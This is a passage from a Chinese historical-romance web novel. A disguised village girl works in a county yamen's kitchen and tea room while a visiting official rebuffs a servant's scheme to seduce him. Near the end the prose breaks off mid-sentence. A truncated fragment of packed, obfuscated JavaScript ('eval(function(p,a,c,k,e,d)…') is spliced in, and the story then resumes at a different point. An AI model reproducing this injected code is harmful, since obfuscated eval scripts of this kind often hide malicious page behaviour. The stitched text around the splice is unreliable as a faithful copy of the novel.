“丫头?”八老叔公见她出神,唤了一声。 秦式微回过神来,抬起眼,看着八老叔公。灯光照在她脸上,那眉下一点小痣,衬得她眉眼温温婉婉的。 “老叔公,这差事,”她顿了顿,“我去。” 4. 上工 还香火正头这日,老早外边就是喧闹声。 天还没亮透,秦式微就赶了牛车晃晃悠悠上了路。 一路上,还能听见从三洞村那边传来的锣鼓声,渐渐远了,渐渐轻了,最后只剩下一片隐约的嗡嗡声。 到镇上时,日头已经升起来。 秦式微在街口下了车,熟门熟路往衙门那边走。绕过两条街,就看见那两扇黑漆大门了。门前的石狮子蹲着,张着嘴,露出石头刻的獠牙。有个皂隶靠在门边打盹,听见脚步声,抬起眼皮看了她一眼,又合上了。 她从侧门进去,穿过一道窄巷,就到了后厨的院子。 院子里已经站了七八个人,都是这几日一块儿当差的。有从县里挑来的,有从各村选来的,都是年轻整齐的小娘子,穿着素净的衣裳,规规矩矩站着。见她进来,有几个人抬头看了一眼,又垂下眼去。 秦式微往人堆里站了站,低着头,也不说话。 不多时,一阵脚步声传来。众人抬头,就见焦里正从月洞门那边过来,身后还跟着个皂隶。他脸色不大好看,眉头拧着,步子迈得又快又急。 到了阶下,他站定,扫了众人一眼,那目光跟刀子似的,从每个人脸上刮过去。 “今日贵客来临,”他开口,声音不高,却沉甸甸的,“万得小心恭谨!谁要是出了岔子,别怪我没提前打招呼,听明白了?” “听明白了。”众人齐齐应声。 焦里正看了一圈,怎么也不放心。这些都是从县里、底下的村里临时挑的人,看着整齐,但毕竟是泥腿子出身,谁知道会不会在贵人面前露怯?可事到如今,也没别的法子了。 外头的乐声越发大了,一阵阵传进来,是迎神的队伍已经上路了。焦里正竖着耳朵听了听,摆了摆袖:“仔细些,都散了吧。” 秦式微松了口气。她趁着转身的功夫,悄悄打了个哈欠,抬手在嘴边挡了挡。起得太早,这会子眼皮子直打架。 众人还没散开,钟婆子就来了。 她四十来岁年纪,穿着一身靛蓝褙子,头发梳得光溜溜的,一丝不乱。手里捏着个册子,站在阶上,清了清嗓子,开始派活。 “今儿个的活计,跟前几日不一样。前头贵客来了,得有人伺候茶水,有人收拾屋子,有人传菜递话。”她翻开册子,一条条念着。 念到茶房的时候,她顿了顿,抬眼往人群里看了一眼:“钟三娘,你来。” 人群里,一个年轻小娘子应声而出。她穿着件粉色的襦裙,领口绣着细碎的花,脸上抹了薄薄的脂粉,眉眼描得细细的,嘴角噙着笑。听见自己的名字,她袅袅婷婷地往前走了两步,脆生生应道:“是。” 那声音带着笑,怎么听都有几分得意。 钟婆子又念了几个名字,都是去前头茶房、厅堂伺候的。念完,她把册子一合,道:“其余人,后厨的往后厨,洗衣的往洗衣,各归各位。” 人群里响起一阵窸窸窣窣的声音,有人叹气,有人撇嘴。秦式微低着头,正准备往后厨走,就听见一声轻笑。 是钟三娘。 那笑声很轻,却清清楚楚飘进每个人耳朵里。她站在钟婆子身边,眼风往人群里一扫,在秦式微脸上停了一瞬,嘴角翘得更高了。 秦式微只当没看见,转身往后厨的方向走。 身后,钟婆子道:“三娘,跟我来。”钟三娘应了一声,脚步声跟着她去了。 其余人也各自散了。 往后厨的路上,同秦式微一道走的,还有个小娘子。她约莫十五六岁年纪,圆脸盘,眉眼生得浓,看着就是干活利落的人。她跟秦式微并排走着,气不打一处来,嘴里絮絮叨叨: “就那模样,还想往贵人跟前凑?也不拿镜子照照自己,那脸抹得跟糊墙似的,一股子香粉味儿隔着三条街都能闻见!” 秦式微听着,没接话。 那圆脸小娘子又说:“不就仗着自家姑婆是钟婆子吗?这差事是她派的,可不就把自己侄孙女往好地方送?咱这些人,就只能在后厨烧火、洗衣裳,连贵人的影儿都见不着。” 她说着,越发来气:“你知道她把我妹安排到哪儿去了?洗衣房!那水凉得刺骨,一泡就是一整天。我妹手都皴了。她倒好,往茶房里一坐,端茶递水,见的是贵人,赏钱也是她的。” 秦式微嗯了一声,继续走。 那小娘子又絮叨了一通,什么钟三娘眼高手低,什么她姑婆在衙门里当了二十年差,什么她娘逢人就说自家闺女要攀高枝了——说了一路,终于说完了。 这时候也到了后厨。 不大的院子,搭着个棚子,棚下垒着三眼灶,灶膛里火正旺。灶上的大锅咕嘟咕嘟冒着热气,两个厨娘正在里头忙活。案板上摆着菜,盆里泡着肉,地上堆着柴草,满院子都是烟火气。 那圆脸小娘子停住脚,回过头来看秦式微,脸上带着几分不平:“是个闷声不说话的,亏得我替你不平。” “你以为钟三娘为什么挤兑你?就你这张脸,虽说是黄了些,可那眉眼搁在那儿呢。她怕你往前头去,抢了她的风头。” 她说完就看着秦式微的神情,谁料后者笑了笑,道:“后厨也好啊,起码还能烤个栗子。” 说着,秦式微走到灶边,从袖子里摸出个布包,打开,里头是一小捧野栗子。她蹲下身,往火膛里塞了几个,用火钳拨了拨灰,盖上。 吕六娘看着她这一通操作,哼了一声,道:“吃的算什么,要是攀上那位贵人,什么山珍海味没有?就你眼皮子浅。” 她气得不说话了,蹲到柴草堆边,扒拉了两下捆起来的草束。可憋不住话,没过一会儿,又凑过来,压低声音道:“你可知那贵人是谁?” 秦式微正盯着火膛里的栗子,闻言抬起头来,看着她。 吕六娘见勾起了她的兴趣,脸上露出几分得意,声音压得更低了:“昨儿个我兄长同衙门里一个皂隶吃酒,问出来的。那位贵人啊——” 她顿了顿,卖了个关子,才道:“是从京师来的,姓陆,官居通判。据说出身大家,祖上出过尚书。人嘛……”她脸忽然红了,声音也软了几分,“听说一表人才,年纪轻轻就做到了六品官,往后前程大着呢。” 秦式微听着,心里动了动。 京师来的。姓陆。通判。 她在心里默默记下这几个字,面上却还是那副憨直的表情。 吕六娘说完,看着她的脸,有些失望。对面那张脸依旧是黄黄的,连红晕都没起,更别说惊喜了。她正想说什么,却见秦式微拿起旁边的火钳,从火膛里夹出几个栗子,黑乎乎的,冒着热气。 “你要吗?”秦式微把栗子递过来,问道。 吕六娘看着那几个栗子,再看看她那张波澜不惊的脸,一时间不知道该说什么。她心里头又是庆幸——庆幸这傻丫头不开窍,不会跟自己抢;又是酸——酸她白瞎了这张脸,要是自己有这容貌,早就…… 她哼了一声,别过脸去:“不要。” 秦式微也不勉强, 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秦式微听着,手上没停。这菜式在村里是顶好的了,可在那京师来的贵人眼里,怕也就是寻常。 日头渐渐升到头顶。菜做好了,一道道盛出来,用笼屉扣着,温在灶上。 到了时辰,前头来人传话,说要上菜了。厨娘挑了几样清淡的——清蒸鲈鱼、炒时蔬、鸡汤,并几碟酱菜,装进食盒里,让人送往前头去。大菜还温着,红烧肉、炖羊肉都没动。 看来人还没到。 秦式微往灶膛里添了把柴,火光照在她脸上,明明灭灭的。 前头衙门里。 甘县令他们在城外等了半日,一直等到日头升高,都不见通判的车架,只得先回衙门。派了人在县外守着,一有消息就传回来。 这会子饭摆上了,甘县令却没什么胃口。他拿着筷子,拨了两下碗里的饭,又放下了。 “后边安排好了?”他问焦里正。 焦里正垂手站在一旁,恭声道:“都妥当了。客房收拾出来了,热水备着,伺候的人也都挑好了,都是仔细本分的。” 甘县令点点头,眉头却没松开。他挥了挥手,屏退左右,只留下焦里正。 待人都出去了,他才压低声音问道:“你说,他会不会是来查那件事?” 焦里正做了他十几年心腹,知道这位东主的胆子不大,遇事就容易想多。他往前凑了凑,也压低声音劝道:“大人宽心。那事都完了,善后也做得干净。再说,长垦县的消息明明白白的,通判大人此番前来,确是为了考察户籍一事。” “是,是。”甘县令听他这么说,连连点头,“户籍是要紧事,上头催得紧。嗯……得仔细些,不能出差错。” 他刚把心放回肚子里,外头忽然传来一阵急促的脚步声。紧接着,门被推开,一个皂隶闯了进来,扶着门框,大口喘气。 甘县令腾地站起来:“怎么了?” 那皂隶喘了好几口气,才磕磕绊绊道:“大、大人!通判大人进城了!” “如今人在何处?”甘县令惊诧问道,这怎么一点动静都没有就进城了? 那皂隶缓过气来,回道:“回大人,通判大人的车架一刻钟前就进城了。可、可没往县衙来,直接往城外去了。小的让人跟着,方才回来报信,说是往三洞村去了!说是久闻还香火的热闹,先去凑一凑。” 甘县令愣了一愣,随即回过神来,忙往外走:“快速速牵马车来!” 焦里正也跟上去,一边走一边吩咐人备马。 5. 心思 等到他们赶到三洞村时,还香火的队伍正行到热闹处。 远远的,就看见村口乌压压站满了人。锣鼓声震天响,鞭炮噼里啪啦炸着,硝烟味顺着风飘过来。各色彩旗在日头底下飘着,红的、黄的、绿的,旗杆顶上垂着长长的飘带,风一吹,呼啦啦响。 执事队正往山门里进。 最前头是栓着红腰巾的仪仗队开道,一个个精壮汉子,腰板挺得笔直,手里举着各色旗幡。接着是成双成对的龙头、金瓜、斧钺、偏戟、云牌、大刀、长矛——都是木头做的,漆得金晃晃的,在日头底下耀眼得很。 紧接着是金顶红罩的神楼,里头供着三神娘娘的神像,看不真切,只隐隐约约看见金面朱衣,端坐其中。神楼四角挂着铜铃,叮叮当当响着,清脆悦耳。神楼前后,有二十四根护庙棍排列两行,都是年轻后生,腰间系着红布,棍子杵在地上,咚咚响。 护庙棍后头,青壮汉抬着用红绸扎着的木桌,上边是香器、祭器、香表纸炮和各式供品——整猪整羊、时鲜瓜果、面点糕饼,满满当当摆了一桌又一桌。再后头,两班乐户跟在后头,吹吹打打,笙管笛箫,锣鼓铙钹,热闹非凡。 队伍继续往里走,穿过山门,进入献殿。殿前摆着长长的供桌,铺着红布,上头摆满了供品。在法器声、乐声、钟鼓声及鞭炮声中,众人上香祭酒,三叩九拜,动作齐整,一丝不苟。 最引人注目的,还是那三神妃的鸾驾。 鸾驾用彩漆涂得金碧辉煌,四面垂着珠帘,风吹过,珠子轻轻碰撞,发出细碎的声响。神妃端坐其中,穿着大红袍,头戴几点翠,垂目下视,眉眼间尽是悲悯之意。 她脸上敷了粉,唇上点了胭脂,眉间贴了花钿,手里拎着药篮,里头还放了五谷稻穗,整个人端庄慈悲。仔细看,她颈间系着一条青灰色的素缎披帛,上头绣着隐隐的云纹。 鸾驾缓缓从人群前经过,两旁的人纷纷跪倒,磕头焚香,念念有词。神妃的目光从他们身上掠过,依旧是那副慈悲模样,看不出喜怒。 这样的场景,甘县令看过好几回。每年还香火都是这一套,热闹归热闹,看多了也就那样。他收回视线,往不远处屋舍前的木桌旁望去。 他要寻的人,就在那里。 那人穿着一袭玄色织金云纹的官袍,腰束玉带,头发以玉冠束起,他斜斜靠在椅背上,一手端着茶盏,正看着那边热闹的人群,薄唇微微勾着,像是在笑。 似乎察觉到甘县令的目光,他侧了些脸,闲闲一瞥,却重如千钧。 甘县令只觉脊背一凉,不敢逼视。 他想起长垦县县令——那是他曾经的同窗,给自己捎来的信里,只写了一句话: “威重艳多,心似淬毒。” 甘县令当时还不大明白这话的意思。如今见着这人,只一眼,他便懂了。 他定了定神,快步上前,躬身行礼:“下官见过陆大人。” 陆闻涉收回目光,把茶盏往桌上一放,语带笑意:“今个儿天也不算热,怎我瞧着甘大人出了身汗?” 甘县令一愣,这才发觉后背冷汗潸潸而下,已经湿了里衣。他抬手擦了擦额上的汗,陪笑道:“大人见笑了。下官身子骨弱,一到天热就容易出虚汗,不是什么大毛病。” “哦——”陆闻涉拖长了声音,似笑非笑地看着他,“身子不好,可得仔细养着。本官来溪头乡时,知州大人特地说了,溪头乡政通人和,本官一路走来,所见确实不虚。这都是甘大人治理有为,更要保重身体才是。” 甘县令听了这话,受宠若惊,连连躬身道:“大人谬赞,下官愧不敢当。这都是知州大人栽培,大人抬爱,下官不过是恪尽职守,尽本分罢了。” 陆闻涉没再说话,目光越过他,看向那神妃鸾驾的方向。 甘县令顺着他的目光看过去,以为他对这还香火有兴趣,便主动解释道:“那是吴家闺女,在村里也是拔尖的,品行也好,所以今年点了她扮三神妃。” 陆闻涉嗯了一声,忽然问道:“去年也是她?” 甘县令一愣,没想到他会问这个,忙道:“不……不是。去年是别家闺女。今年出了些事,不好再让她扮。” “什么事?” “家里有人过世,带了孝。”甘县令答道,又下意识摸了摸额上的冷汗。 陆闻涉听了,没再问,只点了点头,目光又转向那鸾驾,不知在想什么。 甘县令等了一会儿,见他没有再开口的意思,也不好贸然说话,只得垂手站在一旁。 锣鼓声还在响,戏台上的唱腔一波波传过来,人群的欢呼声此起彼伏。 好容易等到还香火的仪程结束,陆闻涉起身,说回衙门。甘县令如蒙大赦,忙让人备车,一路陪着回了县衙。 将陆闻涉送到客房,吩咐人好生伺候着,甘县令这才告退出来。 他一出院子,就拉着焦里正进了后衙,把门关上,压低声音问道:“你方才看见没有?他问那神妃的事,什么意思?” 焦里正想了想,道:“或许是随口一问?” “随口一问?”甘县令摇摇头,额上又有冷汗渗出来,“不对。他若是随口一问,问完就该撂开手。可他问完,又问了去年是谁,又问为什么换人——这不是随口一问,这是上了心。” 焦里正不解:“下官驽钝,可那有什么可上心的?不过是个乡下丫头扮神妃。” “我就是不知道才问你!”甘县令急了,“你说,他会不会是借着这事,打听别的什么?” 焦里正沉默了一会儿,道:“大人,这位陆大人,心思是难测了些。可咱们的事,跟那神妃八竿子打不着。他就是问一千遍,也问不出什么来。依我看,大人不必过于忧心,且看看再说。” 甘县令叹了口气,道:“也只能这样了。” 他摆摆手,让焦里正退下。 客房那边,陆闻涉进了屋,没急着歇息。 他走到桌边,坐下,从袖中取出一封密函,展开,研墨提笔,开始写字。 长随良平跟进来,悄无声息地吩咐人抬热水。他知道主子的习惯,写东西的时候不许人打扰,写完正好沐浴。他算了算时辰,不多不少,刚刚好。 陆闻涉写完最后一个字,放下笔,把密函折好,收入袖中。良平这才上前,道:“大人,热水备好了。” 陆闻涉点点头,起身去沐浴。 浴房在客房后头,不大,却收拾得干净。木桶里热气腾腾,水上漂着几片干花瓣,是衙门里备的。陆闻涉看了一眼,没说什么,解开衣袍,浸入水中。 热水漫过肩头,他闭上眼睛。 想着方才写的有无纰漏,还有甘鸿光的反应。 洗完出来,换了身素净的中衣,头发半干,披散在肩头。他挥了挥手,让良平等人退下,准备歇息。 良平带着人退出去,把门带上。 屋里安静下来,只有窗外的月光透过窗棂,在地上投下淡淡的影子。陆闻涉走到床边,掀开锦被—— 他的动作顿住了。 被窝里躺着个人。 那是个女子,穿着薄薄的寝衣,蜷缩在被中,露出一截白皙的脖颈。她似乎感觉到了动静,颤巍巍地掀开锦被,露出脸来。 那张脸抹着脂粉,眉眼描得细细的,双颊晕开绯色。她下了床,跪在地上,声音娇软:“是县令命我来伺候大人的。” 说完,她略一抬脸,露出一双含羞带怯的眼睛,痴痴地望着面前的人。 陆闻涉低头看着她。 灯火落在他脸上,那眉眼那薄唇,都是精致得不似真人。可此刻,那张脸上没有一丝表情,只眼底深处,有什么东西在涌动。 钟三娘跪在地上,仰头看着他,心跳如鼓。 方才在屋里等着的时候,她想过无数种可能。她想,这位大人见她生得好,定然会喜欢;她想,就算不喜欢,也不敢驳了县令的面子;她想,只要今夜成了事,往后…… 可此刻,她忽然有些不肯定了。 那人站在月光里,一动不动地看着她。那目光落在她脸上,仿佛在等她把戏演完。 钟三娘心里头那股得意,渐渐被不安取代。她咬了咬唇,又唤了一声:“大人……” 陆闻涉忽然开口:“你方才说,是县令命你来的?” 他的声音很轻,听不出喜怒。 钟三娘忙点头,又垂下眼,做出羞怯模样:“是。县令大人说,陆大人远道而来,身边没人伺候,让民女来服侍大人。” 陆闻涉嗯了一声。 他转身,不紧不慢地走到桌边,在椅子上坐下。月光照不到那里,他的脸隐在暗处,只看得见一个模糊的轮廓。 “你叫什么名字?”他问。 钟三娘跪在地上,有些不知所措。她本以为这人会叫她起来, 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“本官这些年,遇见过不少自荐枕席的事。”他的声音从暗处传来,不疾不徐,“有托人递话的,有递帖子的,有在宴席上借酒装疯的,有在路上偶遇的。花样百出,各有各的门道。” 他顿了顿,语气里带了几分玩味:“可像你这般,直接躺进被窝里,还说是县令命你来的——倒是头一回见。” 钟三娘的脸腾地红了。那红不是羞的,是臊的。 她张了张嘴,想辩解,可话到嘴边,却一个字也说不出来。 “你倒是说说,”陆闻涉道,“甘县令命你来的时候,是怎么跟你说的?是在什么地方见的你?身边都有谁?什么时辰?” 他一连问了几个问题,每一个都问得轻飘飘的,可每一个都像钉子,钉在钟三娘心上。 她答不出来。 她压根儿就没见过县令。 这一切,都是姑婆的主意。 姑婆说,县令胆小怕事,巴结这位大人都来不及,就算事后知道了,也不会说什么,只会当不知道。姑婆说,这位大人年轻,血气方刚的,见着女人往被窝里钻,哪有不动心的?姑婆说,只要成了事,往后就是享不尽的富贵。 可姑婆没告诉她,这人会是这样的。 他不动心,更不动怒,却让人心里发慌。 “怎么?”陆闻涉的声音又响起来,“答不出来?” 钟三娘跪在地上,浑身发颤。 “罢了。” “本官不问你。”陆闻涉走到门边,拉开门,“来人。” 门被推开,良平快步进来。看见地上跪着的女子,他愣了一愣,心里猜到几分,随即低下头去,恭声道:“大人。” 陆闻涉没有再看钟三娘一眼,转身往窗边走去。那背影修长挺拔,却透着一股说不出的冷意。 “送回去,”他淡淡道,“如实告诉甘县令。” “是。”良平转身,让人进来。 “大人——”钟三娘被吓着,连忙朝着陆闻涉的背影喊道,楚楚可怜。 良平则毫不留情的让人把钟三娘从地上拉起来,给她塞了块布堵住口舌,又裹了件外衣,拖出门去。 门在身后关上。 屋里重归寂静,但外头又热闹起来了。 良平办事很快。 不到半个时辰,他便回来了。轻轻叩了叩门,听见里头说“进来”,便推门进去。 屋里没点灯,月光照着,能看见主子坐在案后。 “查清楚了?”陆闻涉问。 “查清楚了。”良平垂手站在门边,低声道,“那女子姓钟,是本县钟婆子的侄孙女。钟婆子在衙门里当差二十年,管着后厨那一摊子。这回县里挑人来伺候,她把侄孙女塞了进来。” 他顿了顿,又道:“今儿个夜里,是钟婆子把人领进来的。她跟门房说,是奉了县令的命,给大人送些自家做的点心来。门房没敢拦,她就带着人进来了。进了院子,她把人往屋里一送,自己就走了。” 陆闻涉听着,没说话。 “那钟婆子,”良平继续道,“在衙门里人缘不错,跟焦里正也说得上话。今儿个这事,她怕是打的这个主意——若是成了,她侄孙女攀上高枝,她也跟着沾光;若是不成,就说是一场误会,反正门房那边也只知道是送点心的。” 陆闻涉嗯了一声,神色辨不清喜怒。 “下去领罚。” 6. 泡茶 这县衙前后都透着风,况且上头的人也似乎忘了一般,没刻意去瞒消息。 昨儿个的事早就传开,秦式微刚踏进灶房,又从袖子里摸出今早带的一块杂粮饼子,才咬了一口,吕六娘就风风火火地进来了。 她手里也拿着个菜包子,却不急着吃,四下里张望了一圈,见厨娘还没来,便拉了张杌子往秦式微身边一坐,凑过来压低声音道:“你可听说了?” 秦式微看着她那副模样——眼睛亮得跟捡了钱似的,嘴角压都压不下去,分明是憋了一肚子话要说。她咬了饼子,含糊道:“什么?” “昨儿个夜里的事!”吕六娘压着声,可那兴奋劲儿从每个字里往外冒,“钟三娘那事!” 吕六娘自顾自说起来,绘声绘色的,跟亲眼见着似的:“昨儿个半夜,她被人从陆大人屋里送出来的!衣裳都不整,披着件外衣,头发散着,脸上哭得跟花猫似的。她姑婆钟婆子,挨了十大棍,当场打得皮开肉绽,被人架出去的。十大棍!我听说打得那叫一个狠,血糊糊的,往后怕是连路都走不利索了。” 她说着,脸上那幸灾乐祸的劲儿,遮都不想遮,眉眼都舒展开了,跟大夏天喝了碗冰水似的痛快。 “解气!”她一拍大腿,“叫她狂!叫她仗着姑婆是管事,把咱们往后厨塞!活该!这下可好,别说攀高枝了,连脸都丢尽了。往后她在这县里还怎么做人?我要是她,直接找根绳子上吊得了。” 秦式微听着,心里头惊讶。 也算是雷霆手段了,钟三娘经了此事,不好嫁人,还有钟婆子,如吕六娘所说,去了半条命。 不过那位陆大人怕是没想到,这穷乡僻壤的,竟有人敢用这般蠢笨的手段。直接往被窝里躺,还假借县令名义——真真是乱拳打死老师傅,任他见过多少世面,也没见过这样的。 吕六娘说了半天,见她没什么反应,有些不乐意,推了推她胳膊:“你怎么不说话?” 秦式微抬起头,憨憨地笑了笑:“还没睡醒,脑子钝。” 吕六娘撇撇嘴,正要说什么,灶房外头忽然进来个人。 那是个穿着褐色细布褙子的婆子,头发梳得一丝不乱,插着根素银簪子,脸上带着笑,眼角满是笑纹,瞧着比钟婆子随和多了。可她那双眼,往灶房里一扫,就跟把刀子似的,轻轻巧巧就把人刮了一遍。 正巧外头两位厨娘正说着小话进来,撞见她,脸上的笑意立刻敛了,恭恭敬敬垂手道:“丁管事。” 秦式微心里一动。 丁管事点了点头,没说什么重话,只笑吟吟道:“今儿个天热,灶房里头火气旺,都仔细些,别中了暑气。该烧火的烧火,该择菜的择菜,各归各位。老婆子初来乍到,不懂你们这儿的规矩,可有一条是知道的——当差的嘴,最好比灶膛里的灰还严实,烧过了就什么都没了。” 她说话声儿不高,甚至带着笑,可那话里的意思,谁都听得懂——别聚着说闲话,该干什么干什么去。灶房里几个婆子互相看了一眼,都低下头去。 两个厨娘应了,赶紧往灶台那边去。 吕六娘趁着丁管事还没往这边看,赶紧凑到秦式微耳边,飞快道:“这是老夫人身边的丁管事。昨夜杜夫人病了,管不了事,县令便去请示早已在佛堂吃斋念佛的老夫人。老夫人便指了丁管事来打点这摊子。” 秦式微听着,心里又动了动。 杜夫人病了? 她想起第一回来上工时见过的那位杜夫人——三十来岁的年纪,生得富态,来灶房巡查,站那儿胡乱指点了一通,说话嗓门大,跟甘县令那副唯唯诺诺的模样截然相反。 那样的一个人,竟会在这个时候病倒? 她想起昨儿个夜里的事,忽然明白了什么。 钟婆子敢假借县令名义,把侄孙女往陆大人屋里送——这事儿背后,怕是不只是她自己的主意。说不准,还是得了令的。 只不过得的是夫人的令。 是真病,还是不得不病了? 她正想着这些,余光瞥见丁管事往这边走来。她赶紧收回思绪,垂着眼,装出一副老实本分的模样。 丁管事走到她们跟前,站定,目光在两人脸上来回打量了一番。那目光不重,却让吕六娘下意识挺直了腰板。 “听郑婆子说,你们都会煮茶?”丁管事开口问道。 郑婆子也是三洞村出身,年轻时是采茶女,一手茶艺在这县里都叫得上号。秦式微因缘巧合,跟她学过一阵子。吕六娘家里头是卖茶的,打小就会。 吕六娘闻言,脸上那惊喜的劲儿藏都藏不住,跟捡着宝似的。她赶紧站起来,脆声道:“是!奴婢打小就会煮茶,家里头开过茶铺,什么茶该用什么水温、泡多久,都门儿清。奴婢还会点茶,虽说不比那茶坊里的师傅,可也差不了多少。丁管事要是信得过奴婢,奴婢定好好伺候,绝不出岔子。奴婢嘴也严,不该说的一个字都不会往外说,手脚也勤快,保准让那位陆大人满意。” 她一骨碌话说得又快又脆,跟倒豆子似的,恨不得把自己会的、能的一股脑全抖落出来。 秦式微等她说完,才慢吞吞站起来道:“我手脚笨,都听管事的。” 她垂着眼,一副老实巴交的模样,脸上那层黄粉衬得她愈发不起眼。 丁管事看看吕六娘——机灵,会看眼色,嘴也甜,抢着表现;又看看秦式微——憨笨,少言,问一句答一句,看着就是个老实本分的。 放在平常,任谁都会选前者。 可丁管事想着昨夜的事,心里头便有了计较。 夫人真是糊涂。那样蠢笨的主意,也敢往外使。她还真当人人都是那贪色的,见着女人往被窝里钻就迈不动腿?那位陆大人是什么人?京里来的,年纪轻轻做到六品通判,什么场面没见过?什么样的美人没见过? 使这样的招,简直是打人家的脸。 夫人自以为是为老爷好,可也不想想,那位陆大人要是追究起来,老爷怎么交代? 老夫人昨夜临睡前听到这事,气得直念佛,说娶了个没脑子的,真是坏了一窝。 这会子让她来打点这摊子,她可得擦亮眼。往后这几日,不能再出半点岔子。挑人伺候,不求多机灵,只求本分、稳当。 太机灵的,心思活络,反倒容易生事。 她目光在两人身上又过了一遍,最后落在秦式微身上。 “你随我来吧。”丁管事道。 秦式微抬起头,忖度片刻就明白丁管事的心思,应了一声:“是。” 吕六娘脸上的笑僵住了。 她看看丁管事,又看看秦式微,张了张嘴,想说什么,可丁管事已经转身往外走了。秦式微跟在后头,经过她身边时,她狠狠剜了秦式微一眼,那眼神跟刀子似的,恨不得剜下块肉来。 秦式微只当没看见,低着头走了出去。 身后,吕六娘气得直跺脚。 秦式微跟着丁管事穿过一道月洞门,走过一条长廊,到了茶房。 茶房不大,却收拾得干净整齐。靠墙一排架子,摆着各式茶具——有紫砂的、有瓷白的、有粗陶的,大小不一。窗下砌着个小小的风炉,炉上坐着铜铫,铫里水正咕嘟咕嘟响着。 郑婆子正在里头忙活,见丁管事进来,忙放下手里的活计,笑道:“丁管事来了。” 丁管事点点头,把秦式微往前带了带,道:“往后她便在茶房当差。” 郑婆子见是秦式微,眼睛一亮,脸上笑意更深了:“好,好,丁管事放心,老婆子定好好教她。” 丁管事嗯了一声,又看了秦式微一眼,叮嘱道:“本分做事,别多嘴,别多事。” 秦式微垂首应道:“是。” 丁管事这才转身走了。 待她走远,郑婆子一把拉住秦式微的手,上上下下打量着她,又看看她的脸,皱起眉头:“你这是去灶灰里滚了一圈?怎的这么黄?” 秦式微无奈地笑了笑。她跟郑婆子熟,倒不好一直装下去,日后黄粉要慢慢减了,嘴上只道:“这些日子肠胃不大好,脸色就差些。” 郑婆子心疼地看着她,叹了口气:“也是,你娘刚走,一个人操持,哪能好?往后有什么事,只管跟婆婆说。” 她说着,又高兴起来,拉着秦式微往里走,絮絮叨叨道:“还是丁管事人好。我同她说了你煮茶手艺极好,她便挑了你。不像那个钟婆子——” 她哼了一声,显然还在气头上,想到第一日钟婆子那张棺材脸,就气得很:“什么公是公私是私,不就是想把那个侄孙女塞进来吗?她那侄孙女,煮个茶能把茶壶打翻,也配进茶房?这会子可好,自己作死,连累她姑婆一块儿滚蛋。活该!” 秦式微听着,笑了笑,随后岔开话题,两人又聊了些闲话,她走到风炉边,看了看铜铫里的水,又看了看架上的茶叶,随口问道:“婆婆,那位陆大人,喜欢喝什么茶?” 郑婆子一听,脸上的笑意敛了几分,叹气道:“别提了。这位陆大人,不爱喝茶。” “不爱喝茶?”秦式微愣了愣。 “可不是。”郑婆子道,“我在这儿候了两日,他要过一回茶,是昨儿个半夜要的碗浓茶。我煮了送过去,也不知他喝没喝。其余时候,都是要的白水。” 她指了指架上一只白瓷茶盏,里头泡着半盏茶:“你尝尝,这是昨儿个我煮的,剩了半盏。味儿还成吧?” 秦式微端起茶盏,呷了一口。 茶是好茶,春茶,火候也正好,不涩不苦,回味还带着点甘甜,放在他们这地头算是很好了,她放下茶盏,道:“味儿很好。” “我也觉得好。”郑婆子道,“可人家不喝。” 秦式微心里琢磨开了。 她这几日在灶房烧水,发现一件怪事——那位陆大人,用水用得多得离谱。旁的大人住进来,一日也就两三桶热水,洗漱饮用足够了。可这位陆大人,从早到晚,热水一桶一桶往他院子里送,光是昨儿个一日,就送了七八桶。 她当时还纳闷,一个人怎么能用这么多水? 这会子想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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茶房在前后院之间,人来人往的,又能来回走动。若是在这儿当差,打听消息,可比在后厨方便多了。 她定了定神,端着茶托,由小厮带着往陆大人的院子走去。 穿过一道月洞门,绕过一座假山,便到了陆大人的院子。院子不大,收拾得干净,几竿竹子种在墙角,风吹过,沙沙响。 她正要往里走,忽然被人拦住。 那是个年轻男子,穿着青灰色长袍,面容清隽,瞧着二十来岁的年纪。他站在院门口,伸手一拦,目光落在她手里的茶托上。 “给我吧。”他道。 秦式微没见过这人,但猜应当是陆大人身边的长随。 她心里一松,这倒省事。她垂首,将茶托递过去:“是。” 良平接过茶托,看了她一眼,没说什么,转身往里去了。 秦式微也没等,直接转身往回走。 屋里头,陆闻涉正压着三分火气。 今儿个一早,甘鸿光陪他去查往年的账册。他翻了一上午,一页一页看过去,竟没看出什么破绽来。账面做得平平整整,收入支出都对得上,该有的凭证一张不少,该盖的章一个不落。 太干净了。 干净得不像真的。 他知道甘鸿光这人——胆小,怕事,脑子也不算灵光。这样的人,若真有什么猫腻,账册上不可能做得这般滴水不漏。除非有人指点过,有人在背后替他收拾干净。 甘鸿光在一旁陪着,额上汗珠就没断过。他一边拿袖子擦汗,一边陪着笑脸,小心翼翼地问:“大人,可看出什么不妥?” 陆闻涉没理他,只把账册合上,往桌上一扔。 甘鸿光吓得一哆嗦,也不敢再问。 出了账房,甘鸿光又陪着他往回走,一路上点头哈腰,恨不得把脸笑成一朵花。陆闻涉知道他在想什么——赶紧把这座大佛送走,越快越好。 他心里冷笑。 哪有这么容易? 良平端着茶进来,放在案上。 陆闻涉也没像往常那般不动,随手端起,往嘴边送—— 茶是温的。 恰到好处,不烫口,也不冰牙,入口正好。他一口气喝下半盏,那股烦闷的火气,竟被这温温的茶水浇熄了几分。 他又喝了一口,才放下茶盏。 “这茶是谁煮的?”他忽然问。 良平正垂手站在一旁,闻言一愣,随即小心道:“方才是个新来的丫鬟送的。奴这就去问问?” 陆闻涉沉默了一瞬。 他想起方才那盏茶的温度——不烫不凉,刚刚好。在这闷热的午后,喝上这么一盏,比什么降火的药都管用。煮茶的人,知道他在外头晒了半日,知道他现在最需要的是什么。 这样的人,倒是少见。 可他想了想,又觉得不必。 不过是一盏茶罢了。 “不用了。”他道。 良平应了一声,不再多话。 陆闻涉又端起茶盏,将剩下的半盏也喝了。 茶汤入口,清冽甘甜,余味悠长。 7. 赏赐 自那日后,要茶的次数就渐渐多了起来。 多数送去的茶都是秦式微泡的,郑婆子乐得清闲,但凡有人叫茶,便推了她去。秦式微也不好推辞,只得应了。 这日午后,郑婆子正拉着她说话,忽然端详着她的脸,笑道:“这几日气色倒好了,脸上白净不少。” 秦式微摸了摸脸,因着有郑婆子这个熟人,她不好继续抹黄粉装下去,只笑道:“茶房虽算不上什么金贵地方,可送的饭菜比别处好上两分,油水足些,自然养人。” 